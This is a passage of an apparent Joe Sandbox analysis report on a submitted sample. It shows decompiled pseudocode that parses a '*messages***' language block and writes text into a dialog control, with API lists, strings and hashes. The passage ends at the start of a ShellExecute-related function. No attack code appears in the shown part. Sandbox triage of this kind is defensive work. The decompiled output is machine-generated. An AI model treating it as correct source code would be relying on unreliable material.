						_t398 = _t396 + 0x20;
						 *(_t394 - 0x15) = _t320;
						_t385 = _t384 | 0xffffffff;
						 *(_t394 - 0x2c) = _t320;
						 *(_t394 - 0x20) = _t385;
						while(_t385 == 0xffffffff) {
							 *(_t394 - 0x10) = E00249D80();
							_t298 = E00249B80(_t374, _t394 - 0x4300, 0x2000);
							 *(_t394 - 0x28) = _t298;
							_t388 = _t320;
							_t25 = _t298 - 0x10; // -16
							_t365 = _t25;
							 *(_t394 - 0x30) = _t365;
							if(_t365 < 0) {
								L25:
								_t299 =  *(_t394 - 0x10);
								_t385 =  *(_t394 - 0x20);
								L26:
								E00249C70(_t394 - 0x2300, _t394, _t299 +  *(_t394 - 0x28) + 0xfffffff0, _t320, _t320);
								_t303 =  *(_t394 - 0x2c) + 1;
								 *(_t394 - 0x2c) = _t303;
								__eflags = _t303 - 0x100;
								if(_t303 < 0x100) {
									continue;
								}
								__eflags = _t385 - 0xffffffff;
								if(_t385 == 0xffffffff) {
									goto L57;
								}
								break;
							}
							L10:
							while(1) {
								if( *((char*)(_t394 + _t388 - 0x4300)) != 0x2a ||  *((char*)(_t394 + _t388 - 0x42ff)) != 0x2a) {
									L14:
									_t374 = 0x2a;
									if( *((intOrPtr*)(_t394 + _t388 - 0x4300)) != _t374) {
										L18:
										if( *((char*)(_t394 + _t388 - 0x4300)) != 0x52 ||  *((char*)(_t394 + _t388 - 0x42ff)) != 0x61) {
											L21:
											_t388 = _t388 + 1;
											if(_t388 >  *(_t394 - 0x30)) {
												goto L25;
											}
											_t298 =  *(_t394 - 0x28);
											continue;
										} else {
											_t306 = E00265D20(_t394 - 0x42fe + _t388, 0x2728ec, 4);
											_t398 = _t398 + 0xc;
											if(_t306 == 0) {
												goto L57;
											}
											goto L21;
										}
									}
									_t370 = _t394 - 0x42fc + _t388;
									if( *((intOrPtr*)(_t394 - 0x42fc + _t388 - 2)) == _t374 && _t388 <= _t298 + 0xffffffe0) {
										_t308 = E00265668(_t370, L"*messages***", 0xb);
										_t398 = _t398 + 0xc;
										if(_t308 == 0) {
											 *(_t394 - 0x15) = 1;
											goto L24;
										}
									}
									goto L18;
								} else {
									_t311 = E00265D20(_t394 - 0x42fe + _t388, "*messages***", 0xb);
									_t398 = _t398 + 0xc;
									if(_t311 == 0) {
										L24:
										_t299 =  *(_t394 - 0x10);
										_t385 = _t388 +  *(_t394 - 0x10);
										 *(_t394 - 0x20) = _t385;
										goto L26;
									}
									_t298 =  *(_t394 - 0x28);
									goto L14;
								}
							}
						}
						asm("cdq");
						E00249C70(_t394 - 0x2300, _t394, _t385, _t374, _t320);
						_push(0x200002);
						_t386 = E00263413(_t394 - 0x2300);
						 *(_t394 - 0x1c) = _t386;
						__eflags = _t386;
						if(_t386 == 0) {
							goto L57;
						}
						_t332 = E00249B80(_t374, _t386, 0x200000);
						 *(_t394 - 0x20) = _t332;
						__eflags =  *(_t394 - 0x15);
						if( *(_t394 - 0x15) == 0) {
							_push(2 + _t332 * 2);
							_t216 = E00263413(_t332);
							 *(_t394 - 0x30) = _t216;
							__eflags = _t216;
							if(_t216 == 0) {
								goto L57;
							}
							_t334 =  *(_t394 - 0x20);
							 *(_t334 + _t386) = _t320;
							__eflags = _t334 + 1;
							E002512D6(_t386, _t216, _t334 + 1);
							L0026340E(_t386);
							_t386 =  *(_t394 - 0x30);
							_t337 =  *(_t394 - 0x20);
							 *(_t394 - 0x1c) = _t386;
							L33:
							_t219 = 0x100000;
							__eflags = _t337 - 0x100000;
							if(_t337 <= 0x100000) {
								_t219 = _t337;
							}
							 *((short*)(_t386 + _t219 * 2)) = 0;
							E0024FD3B(_t394 - 0x14c, 0x2728f4, 0x64);
							_push(0x20002);
							_t222 = E00263413(0);
							 *(_t394 - 0x10) = _t222;
							__eflags = _t222;
							if(_t222 != 0) {
								__eflags =  *(_t394 - 0x20);
								_t340 = _t320;
								_t375 = _t320;
								 *(_t394 - 0x14) = _t340;
								 *(_t394 - 0x84) = _t320;
								_t387 = _t320;
								 *(_t394 - 0x28) = _t320;
								if( *(_t394 - 0x20) <= 0) {
									L54:
									E0024CDB2(_t391, _t375, _t394 - 0x84, _t222, _t340);
									L0026340E( *(_t394 - 0x1c));
									L0026340E( *(_t394 - 0x10));
									__eflags =  *((intOrPtr*)(_t391 + 0x2c)) - _t320;
									if( *((intOrPtr*)(_t391 + 0x2c)) <= _t320) {
										L56:
										 *0x27ff94 =  *((intOrPtr*)(_t391 + 0x28));
										E002658F0(_t320, _t387, _t391,  *((intOrPtr*)(_t391 + 0x3c)),  *((intOrPtr*)(_t391 + 0x40)), 4, E0024CFB0);
										E002658F0(_t320, _t387, _t391,  *((intOrPtr*)(_t391 + 0x50)),  *((intOrPtr*)(_t391 + 0x54)), 4, E0024CFE0);
										goto L57;
									} else {
										goto L55;
									}
									do {
										L55:
										E002536F1(_t391 + 0x3c, _t375, _t320);
										E002536F1(_t391 + 0x50, _t375, _t320);
										_t320 = _t320 + 1;
										__eflags = _t320 -  *((intOrPtr*)(_t391 + 0x2c));
									} while (_t320 <  *((intOrPtr*)(_t391 + 0x2c)));
									goto L56;
								}
								 *((intOrPtr*)(_t394 - 0x34)) = 0xd;
								 *((intOrPtr*)(_t394 - 0x38)) = 0xa;
								 *(_t394 - 0x30) = 9;
								do {
									_t232 =  *(_t394 - 0x1c);
									__eflags = _t387;
									if(_t387 == 0) {
										L80:
										_t376 =  *(_t232 + _t387 * 2) & 0x0000ffff;
										_t387 = _t387 + 1;
										__eflags = _t376;
										if(_t376 == 0) {
											break;
										}
										__eflags = _t376 -  *((intOrPtr*)(_t394 - 0x40));
										if(_t376 !=  *((intOrPtr*)(_t394 - 0x40))) {
											_t233 = 0xd;
											__eflags = _t376 - _t233;
											if(_t376 == _t233) {
												L99:
												E0024CDB2(_t391,  *(_t394 - 0x28), _t394 - 0x84,  *(_t394 - 0x10), _t340);
												 *(_t394 - 0x84) = _t320;
												_t340 = _t320;
												 *(_t394 - 0x28) = _t320;
												L98:
												 *(_t394 - 0x14) = _t340;
												goto L52;
											}
											_t236 = 0xa;
											__eflags = _t376 - _t236;
											if(_t376 == _t236) {
												goto L99;
											}
											L96:
											__eflags = _t340 - 0x10000;
											if(_t340 >= 0x10000) {
												goto L52;
											}
											 *( *(_t394 - 0x10) + _t340 * 2) = _t376;
											_t340 = _t340 + 1;
											__eflags = _t340;
											goto L98;
										}
										__eflags = _t340 - 0x10000;
										if(_t340 >= 0x10000) {
											goto L52;
										}
										_t239 = ( *(_t232 + _t387 * 2) & 0x0000ffff) - 0x22;
										__eflags = _t239;
										if(_t239 == 0) {
											_push(0x22);
											L93:
											_pop(_t381);
											 *( *(_t394 - 0x10) + _t340 * 2) = _t381;
											_t340 = _t340 + 1;
											 *(_t394 - 0x14) = _t340;
											_t387 = _t387 + 1;
											goto L52;
										}
										_t241 = _t239 - 0x3a;
										__eflags = _t241;
										if(_t241 == 0) {
											_push(0x5c);
											goto L93;
										}
										_t242 = _t241 - 0x12;
										__eflags = _t242;
										if(_t242 == 0) {
											_push(0xa);
											goto L93;
										}
										_t243 = _t242 - 4;
										__eflags = _t243;
										if(_t243 == 0) {
											_push(0xd);
											goto L93;
										}
										__eflags = _t243 != 0;
										if(_t243 != 0) {
											goto L96;
										}
										_push(9);
										goto L93;
									}
									_t377 =  *(_t232 + _t387 * 2 - 2) & 0x0000ffff;
									__eflags = _t377 -  *((intOrPtr*)(_t394 - 0x34));
									if(_t377 ==  *((intOrPtr*)(_t394 - 0x34))) {
										L42:
										_t347 = 0x3a;
										__eflags =  *(_t232 + _t387 * 2) - _t347;
										if( *(_t232 + _t387 * 2) != _t347) {
											L71:
											 *(_t394 - 0x24) = _t232 + _t387 * 2;
											_t248 = E0024FBFF( *(_t232 + _t387 * 2) & 0x0000ffff);
											__eflags = _t248;
											if(_t248 == 0) {
												L79:
												_t340 =  *(_t394 - 0x14);
												_t232 =  *(_t394 - 0x1c);
												goto L80;
											}
											E0024FD96(_t394 - 0x2dc,  *(_t394 - 0x24), 0x64);
											_t252 = E002656E5(_t394 - 0x2dc, L" \t,");
											 *(_t394 - 0x24) = _t252;
											__eflags = _t252;
											if(_t252 == 0) {
												goto L79;
											}
											 *_t252 = 0;
											E002514F2(_t394 - 0x2dc, _t394 - 0x1b0, 0x64);
											E0024FD3B(_t394 - 0xe8, _t394 - 0x14c, 0x64);
											E0024FD14(__eflags, _t394 - 0xe8, _t394 - 0x1b0, 0x64);
											E0024FD3B(_t394 - 0x84, _t394 - 0xe8, 0x32);
											_t266 = E00265739(_t320, 0, _t387, _t391, _t394 - 0xe8,  *_t391,  *((intOrPtr*)(_t391 + 4)), 4, E0024CF90);
											_t398 = _t398 + 0x14;
											__eflags = _t266;
											if(_t266 != 0) {
												_t272 =  *_t266 * 0xc;
												__eflags = _t272;
												_t169 = _t272 + 0x27d150; // 0x28b64ee0
												 *(_t394 - 0x28) =  *_t169;
											}
											_t387 = _t387 + ( *(_t394 - 0x24) - _t394 - 0x2dc >> 1) + 1;
											__eflags = _t387;
											_t271 =  *(_t394 - 0x1c);
											_t378 = 0x20;
											while(1) {
												_t352 =  *(_t271 + _t387 * 2) & 0x0000ffff;
												__eflags = _t352 - _t378;
												if(_t352 == _t378) {
													goto L78;
												}
												L77:
												__eflags = _t352 -  *(_t394 - 0x30);
												if(_t352 !=  *(_t394 - 0x30)) {
													L51:
													_t340 =  *(_t394 - 0x14);
													goto L52;
												}
												L78:
												_t387 = _t387 + 1;
												_t352 =  *(_t271 + _t387 * 2) & 0x0000ffff;
												__eflags = _t352 - _t378;
												if(_t352 == _t378) {
													goto L78;
												}
												goto L77;
											}
										}
										_t393 =  *(_t394 - 0x1c);
										_t274 = _t232 | 0xffffffff;
										__eflags = _t274;
										 *(_t394 - 0x2c) = _t274;
										 *(_t394 - 0x50) = L"STRINGS";
										 *(_t394 - 0x4c) = L"DIALOG";
										 *(_t394 - 0x48) = L"MENU";
										 *(_t394 - 0x44) = L"DIRECTION";
										 *(_t394 - 0x24) = _t320;
										do {
											 *(_t394 - 0x24) = E002633F3( *((intOrPtr*)(_t394 + _t320 * 4 - 0x50)));
											_t276 = E00265668(_t393 + 2 + _t387 * 2,  *((intOrPtr*)(_t394 + _t320 * 4 - 0x50)), _t275);
											_t398 = _t398 + 0x10;
											_t379 = 0x20;
											__eflags = _t276;
											if(_t276 != 0) {
												L47:
												_t277 =  *(_t394 - 0x2c);
												goto L48;
											}
											_t361 =  *(_t394 - 0x24) + _t387;
											__eflags =  *((intOrPtr*)(_t393 + 2 + _t361 * 2)) - _t379;
											if( *((intOrPtr*)(_t393 + 2 + _t361 * 2)) > _t379) {
												goto L47;
											}
											_t277 = _t320;
											_t107 = _t361 + 1; // 0x200001
											_t387 = _t107;
											 *(_t394 - 0x2c) = _t277;
											L48:
											_t320 = _t320 + 1;
											__eflags = _t320 - 4;
										} while (_t320 < 4);
										_t391 =  *((intOrPtr*)(_t394 - 0x3c));
										_t320 = 0;
										__eflags = _t277;
										if(__eflags != 0) {
											_t232 =  *(_t394 - 0x1c);
											if(__eflags <= 0) {
												goto L71;
											} else {
												goto L59;
											}
											while(1) {
												L59:
												_t355 =  *(_t232 + _t387 * 2) & 0x0000ffff;
												__eflags = _t355 - _t379;
												if(_t355 == _t379) {
													goto L61;
												}
												L60:
												__eflags = _t355 -  *(_t394 - 0x30);
												if(_t355 !=  *(_t394 - 0x30)) {
													_t380 = _t232 + _t387 * 2;
													 *(_t394 - 0x24) = _t320;
													_t278 = 0x20;
													_t356 = _t320;
													__eflags =  *_t380 - _t278;
													if( *_t380 <= _t278) {
														L66:
														 *((short*)(_t394 + _t356 * 2 - 0x214)) = 0;
														E002514F2(_t394 - 0x214, _t394 - 0xe8, 0x64);
														_t387 = _t387 +  *(_t394 - 0x24);
														_t283 =  *(_t394 - 0x2c);
														__eflags = _t283 - 3;
														if(_t283 != 3) {
															__eflags = _t283 - 1;
															_t284 = "$%s:";
															if(_t283 != 1) {
																_t284 = "@%s:";
															}
															E0024DCAB(_t394 - 0x14c, 0x64, _t284, _t394 - 0xe8);
															_t398 = _t398 + 0x10;
														} else {
															_t288 = E00263429(_t394 - 0x214, _t394 - 0x214, L"RTL");
															asm("sbb al, al");
															 *((char*)(_t391 + 0x64)) =  ~_t288 + 1;
														}
														goto L51;
													} else {
														goto L63;
													}
													while(1) {
														L63:
														__eflags = _t356 - 0x63;
														if(_t356 >= 0x63) {
															break;
														}
														_t291 =  *_t380;
														_t380 = _t380 + 2;
														 *((short*)(_t394 + _t356 * 2 - 0x214)) = _t291;
														_t356 = _t356 + 1;
														_t292 = 0x20;
														__eflags =  *_t380 - _t292;
														if( *_t380 > _t292) {
															continue;
														}
														break;
													}
													 *(_t394 - 0x24) = _t356;
													goto L66;
												}
												L61:
												_t387 = _t387 + 1;
												L59:
												_t355 =  *(_t232 + _t387 * 2) & 0x0000ffff;
												__eflags = _t355 - _t379;
												if(_t355 == _t379) {
													goto L61;
												}
												goto L60;
											}
										}
										E0024FD3B(_t394 - 0x14c, 0x2728f4, 0x64);
										goto L51;
									}
									_t83 = _t394 - 0x38; // 0xa
									__eflags = _t377 -  *_t83;
									if(_t377 !=  *_t83) {
										goto L80;
									}
									goto L42;
									L52:
									__eflags = _t387 -  *(_t394 - 0x20);
								} while (_t387 <  *(_t394 - 0x20));
								_t222 =  *(_t394 - 0x10);
								_t375 =  *(_t394 - 0x28);
								goto L54;
							} else {
								L0026340E(_t386);
								goto L57;
							}
						}
						_t337 = _t332 >> 1;
						 *(_t394 - 0x20) = _t337;
						goto L33;
					} else {
						goto L5;
					}
					do {
						L5:
						E002536F1(_t391, _t374, _t384);
						E002536F1(_t391 + 0x14, _t374, _t384);
						_t384 = _t384 + 1;
						_t403 = _t384 -  *0x27d5f4; // 0x63
					} while (_t403 < 0);
					_t320 = 0;
					goto L7;
				}
			}

0x0024d281
0x0024d281
0x0024d286
0x0024d290
0x0024d29a
0x0024d29b
0x0024d29c
0x0024d29f
0x0024d2a1
0x0024d2a4
0x0024d2a7
0x0024d2ad
0x0024d2af
0x0024d2b2
0x0024d2b8
0x0024d2f4
0x0024d2ba
0x0024d2c2
0x0024d2da
0x0024d2e4
0x0024d2e4
0x0024d2ff
0x0024d304
0x0024d30c
0x0024d30f
0x0024d31d
0x0024d6e0
0x0024d6e6
0x0024d6f1
0x0024d6fb
0x0024d323
0x0024d323
0x0024d325
0x0024d32b
0x0024d349
0x0024d355
0x0024d367
0x0024d36c
0x0024d36f
0x0024d372
0x0024d375
0x0024d378
0x0024d37b
0x0024d38f
0x0024d3a4
0x0024d3a9
0x0024d3ac
0x0024d3ae
0x0024d3ae
0x0024d3b1
0x0024d3b6
0x0024d475
0x0024d475
0x0024d478
0x0024d47b
0x0024d48c
0x0024d494
0x0024d495
0x0024d498
0x0024d49d
0x00000000
0x00000000
0x0024d4a3
0x0024d4a6
0x00000000
0x00000000
0x00000000
0x0024d4a6
0x00000000
0x0024d3bc
0x0024d3c4
0x0024d3ef
0x0024d3f1
0x0024d3fa
0x0024d425
0x0024d42d
0x0024d459
0x0024d459
0x0024d45d
0x00000000
0x00000000
0x0024d45f
0x00000000
0x0024d439
0x0024d449
0x0024d44e
0x0024d453
0x00000000
0x00000000
0x00000000
0x0024d453
0x0024d42d
0x0024d402
0x0024d408
0x0024d419
0x0024d41e
0x0024d423
0x0024d467
0x00000000
0x0024d467
0x0024d423
0x00000000
0x0024d3d0
0x0024d3e0
0x0024d3e5
0x0024d3ea
0x0024d46b
0x0024d46b
0x0024d46e
0x0024d470
0x00000000
0x0024d470
0x0024d3ec
0x00000000
0x0024d3ec
0x0024d3c4
0x0024d3bc
0x0024d4b5
0x0024d4b8
0x0024d4bd
0x0024d4c7
0x0024d4c9
0x0024d4cd
0x0024d4cf
0x00000000
0x00000000
0x0024d4e6
0x0024d4eb
0x0024d4ee
0x0024d4f0
0x0024d500
0x0024d501
0x0024d506
0x0024d50a
0x0024d50c
0x00000000
0x00000000
0x0024d512
0x0024d515
0x0024d518
0x0024d51c
0x0024d522
0x0024d527
0x0024d52b
0x0024d52e
0x0024d531
0x0024d531
0x0024d536
0x0024d538
0x0024d53a
0x0024d53a
0x0024d540
0x0024d550
0x0024d555
0x0024d55a
0x0024d55f
0x0024d563
0x0024d565
0x0024d573
0x0024d577
0x0024d579
0x0024d57b
0x0024d57e
0x0024d584
0x0024d586
0x0024d589
0x0024d671
0x0024d67d
0x0024d685
0x0024d68d
0x0024d694
0x0024d697
0x0024d6b1
0x0024d6be
0x0024d6c6
0x0024d6d8
0x00000000
0x00000000
0x00000000
0x00000000
0x0024d699
0x0024d699
0x0024d69d
0x0024d6a6
0x0024d6ab
0x0024d6ac
0x0024d6ac
0x00000000
0x0024d699
0x0024d58f
0x0024d596
0x0024d59d
0x0024d5a4
0x0024d5a4
0x0024d5a7
0x0024d5a9
0x0024d8bc
0x0024d8bc
0x0024d8c0
0x0024d8c1
0x0024d8c4
0x00000000
0x00000000
0x0024d8ca
0x0024d8ce
0x0024d920
0x0024d921
0x0024d924
0x0024d94a
0x0024d95a
0x0024d95f
0x0024d965
0x0024d967
0x0024d942
0x0024d942
0x00000000
0x0024d942
0x0024d928
0x0024d929
0x0024d92c
0x00000000
0x00000000
0x0024d92e
0x0024d92e
0x0024d934
0x00000000
0x00000000
0x0024d93d
0x0024d941
0x0024d941
0x00000000
0x0024d941
0x0024d8d0
0x0024d8d6
0x00000000
0x00000000
0x0024d8e0
0x0024d8e0
0x0024d8e3
0x0024d90a
0x0024d90c
0x0024d90f
0x0024d910
0x0024d914
0x0024d915
0x0024d918
0x00000000
0x0024d918
0x0024d8e5
0x0024d8e5
0x0024d8e8
0x0024d906
0x00000000
0x0024d906
0x0024d8ea
0x0024d8ea
0x0024d8ed
0x0024d902
0x00000000
0x0024d902
0x0024d8ef
0x0024d8ef
0x0024d8f2
0x0024d8fe
0x00000000
0x0024d8fe
0x0024d8f5
0x0024d8f8
0x00000000
0x00000000
0x0024d8fa
0x00000000
0x0024d8fa
0x0024d5af
0x0024d5b4
0x0024d5b8
0x0024d5c4
0x0024d5c6
0x0024d5c7
0x0024d5cb
0x0024d7c0
0x0024d7c3
0x0024d7ca
0x0024d7cf
0x0024d7d1
0x0024d8b6
0x0024d8b6
0x0024d8b9
0x00000000
0x0024d8b9
0x0024d7e3
0x0024d7f4
0x0024d7f9
0x0024d7fe
0x0024d800
0x00000000
0x00000000
0x0024d808
0x0024d81b
0x0024d830
0x0024d845
0x0024d85a
0x0024d872
0x0024d877
0x0024d87a
0x0024d87c
0x0024d87e
0x0024d87e
0x0024d881
0x0024d887
0x0024d887
0x0024d89a
0x0024d89a
0x0024d89c
0x0024d89f
0x0024d8a0
0x0024d8a0
0x0024d8a4
0x0024d8a7
0x00000000
0x00000000
0x0024d8a9
0x0024d8a9
0x0024d8ad
0x0024d65f
0x0024d65f
0x00000000
0x0024d65f
0x0024d8b3
0x0024d8b3
0x0024d8a0
0x0024d8a4
0x0024d8a7
0x00000000
0x00000000
0x00000000
0x0024d8a7
0x0024d8a0
0x0024d5d1
0x0024d5d4
0x0024d5d4
0x0024d5d7
0x0024d5da
0x0024d5e1
0x0024d5e8
0x0024d5ef
0x0024d5f6
0x0024d5f9
0x0024d60a
0x0024d611
0x0024d616
0x0024d61b
0x0024d61c
0x0024d61e
0x0024d636
0x0024d636
0x00000000
0x0024d636
0x0024d623
0x0024d625
0x0024d62a
0x00000000
0x00000000
0x0024d62c
0x0024d62e
0x0024d62e
0x0024d631
0x0024d639
0x0024d639
0x0024d63a
0x0024d63a
0x0024d63f
0x0024d642
0x0024d644
0x0024d646
0x0024d6fe
0x0024d701
0x00000000
0x00000000
0x00000000
0x00000000
0x0024d707
0x0024d707
0x0024d707
0x0024d70b
0x0024d70e
0x00000000
0x00000000
0x0024d710
0x0024d710
0x0024d714
0x0024d719
0x0024d71c
0x0024d721
0x0024d722
0x0024d724
0x0024d727
0x0024d748
0x0024d74a
0x0024d762
0x0024d767
0x0024d76a
0x0024d76d
0x0024d770
0x0024d793
0x0024d796
0x0024d79b
0x0024d79d
0x0024d79d
0x0024d7b3
0x0024d7b8
0x0024d772
0x0024d77e
0x0024d786
0x0024d78b
0x0024d78b
0x00000000
0x00000000
0x00000000
0x00000000
0x0024d729
0x0024d729
0x0024d729
0x0024d72c
0x00000000
0x00000000
0x0024d72e
0x0024d731
0x0024d734
0x0024d73c
0x0024d73f
0x0024d740
0x0024d743
0x00000000
0x00000000
0x00000000
0x0024d743
0x0024d745
0x00000000
0x0024d745
0x0024d716
0x0024d716
0x0024d707
0x0024d707
0x0024d70b
0x0024d70e
0x00000000
0x00000000
0x00000000
0x0024d70e
0x0024d707
0x0024d65a
0x00000000
0x0024d65a
0x0024d5ba
0x0024d5ba
0x0024d5be
0x00000000
0x00000000
0x00000000
0x0024d662
0x0024d662
0x0024d662
0x0024d66b
0x0024d66e
0x00000000
0x0024d567
0x0024d568
0x00000000
0x0024d56d
0x0024d565
0x0024d4f2
0x0024d4f4
0x00000000
0x00000000
0x00000000
0x00000000
0x0024d32d
0x0024d32d
0x0024d330
0x0024d339
0x0024d33e
0x0024d33f
0x0024d33f
0x0024d347
0x00000000
0x0024d347

APIs

__EH_prolog.LIBCMT ref: 0024D286
_wcschr.LIBVCRUNTIME ref: 0024D2A7
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,0024D268,?), ref: 0024D2C2
__fprintf_l.LIBCMT ref: 0024D7B3

Part of subcall function 002512D6: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0024B592,00000000,?,?,?,000103E2), ref: 002512F2

Strings

a, xrefs: 0024D42F
@%s:, xrefs: 0024D79D, 0024D7A9
*messages***, xrefs: 0024D413
, xrefs: 0024D5BA
,, xrefs: 0024D7EE
R, xrefs: 0024D425
$)', xrefs: 0024D5EF
*messages***, xrefs: 0024D3DA
$%s:, xrefs: 0024D796
RTL, xrefs: 0024D778

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$$)'$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-2337514812
Opcode ID: b488b541d6d071986e9a738fa75f923b06ead4b67c554c5f91d65a9a5b60b64c
Instruction ID: 010aac6dc56aee88671cd146ce65ee0cf8ae3ea5a7c768372beba6ae866af764
Opcode Fuzzy Hash: b488b541d6d071986e9a738fa75f923b06ead4b67c554c5f91d65a9a5b60b64c
Instruction Fuzzy Hash: 2C12C371E2021A9ADF29DFA4DC41BEEB7B9FF04700F50406AF509A7281DB7099A5CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0025C9E2 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0025C9E2() {
				intOrPtr _t41;
				intOrPtr _t44;
				struct HWND__* _t46;
				void* _t48;
				char _t49;

				E0025ABC4(); // executed
				_t46 = GetDlgItem( *0x287438, 0x68);
				_t49 =  *0x287446; // 0x1
				if(_t49 == 0) {
					_t44 =  *0x287458; // 0x0
					E0025895E(_t44);
					ShowWindow(_t46, 5); // executed
					SendMessageW(_t46, 0xb1, 0, 0xffffffff);
					SendMessageW(_t46, 0xc2, 0, 0x2725b4);
					 *0x287446 = 1;
				}
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				 *(_t48 + 0x10) = 0x5c;
				SendMessageW(_t46, 0x43a, 0, _t48 + 0x10);
				 *((char*)(_t48 + 0x29)) = 0;
				_t41 =  *((intOrPtr*)(_t48 + 0x70));
				 *((intOrPtr*)(_t48 + 0x14)) = 1;
				if(_t41 != 0) {
					 *((intOrPtr*)(_t48 + 0x24)) = 0xa0;
					 *((intOrPtr*)(_t48 + 0x14)) = 0x40000001;
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xbfffffff | 1;
				}
				SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				SendMessageW(_t46, 0xc2, 0,  *(_t48 + 0x74));
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_t41 != 0) {
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xfffffffe | 0x40000000;
					SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				}
				return SendMessageW(_t46, 0xc2, 0, L"\r\n");
			}

0x0025c9e9
0x0025ca03
0x0025ca08
0x0025ca0e
0x0025ca10
0x0025ca16
0x0025ca1e
0x0025ca29
0x0025ca37
0x0025ca3d
0x0025ca3d
0x0025ca4d
0x0025ca57
0x0025ca67
0x0025ca6f
0x0025ca73
0x0025ca78
0x0025ca7e
0x0025ca89
0x0025ca93
0x0025ca9b
0x0025ca9b
0x0025caab
0x0025cab9
0x0025cac8
0x0025cad0
0x0025cade
0x0025caef
0x0025caef
0x0025cb0b

APIs

Part of subcall function 0025ABC4: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0025ABD5
Part of subcall function 0025ABC4: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0025ABE6
Part of subcall function 0025ABC4: IsDialogMessageW.USER32(000103E2,?), ref: 0025ABFA
Part of subcall function 0025ABC4: TranslateMessage.USER32(?), ref: 0025AC08
Part of subcall function 0025ABC4: DispatchMessageW.USER32(?), ref: 0025AC12

GetDlgItem.USER32(00000068,0029DCA8), ref: 0025C9F6
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,0025A5B2), ref: 0025CA1E
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0025CA29
SendMessageW.USER32(00000000,000000C2,00000000,002725B4), ref: 0025CA37
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0025CA4D
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0025CA67
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0025CAAB
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0025CAB9
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0025CAC8
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0025CAEF
SendMessageW.USER32(00000000,000000C2,00000000,0027331C), ref: 0025CAFE

Strings

\, xrefs: 0025CA57

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 3f5821342d0f983eda7226aacdf72476a94faf42e2a46fd5eafc550cc68ca276
Instruction ID: bba4fc104f56392e5543b8a098bb0bffb826c838cc97cd4ddd9459c2910644bf
Opcode Fuzzy Hash: 3f5821342d0f983eda7226aacdf72476a94faf42e2a46fd5eafc550cc68ca276
Instruction Fuzzy Hash: D831F175145382AFE311DF20EC4EFAB7FACEB43365F000509FA5096191EB7589188BBA

Uniqueness

Uniqueness Score: -1.00%

Function 0025CC9F Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E0025CC9F(void* __ebp, struct _SHELLEXECUTEINFOW _a4, char* _a8, char* _a16, signed short* _a20, signed short* _a24, int _a32, void* _a48, char _a52, intOrPtr _a56, char _a64, struct HWND__* _a4160, signed short* _a4168, intOrPtr _a4172) {
				signed short _v0;
				long _v12;
				void* __edi;
				int _t54;
				signed int _t57;
				signed short* _t58;
				long _t68;
				int _t77;
				intOrPtr _t80;
				signed int _t81;
				signed short* _t82;
				signed short _t83;
				long _t86;
				signed short* _t87;
				void* _t88;
				signed short* _t91;
				struct HWND__* _t93;
				void* _t94;
				void* _t95;
				void* _t98;

				_t94 = __ebp;
				_t54 = 0x1040;
				E0025E1C0();
				_t91 = _a4168;
				_t77 = 0;
				if( *_t91 == 0) {
					L55:
					return _t54;
				}
				_t54 = E002633F3(_t91);
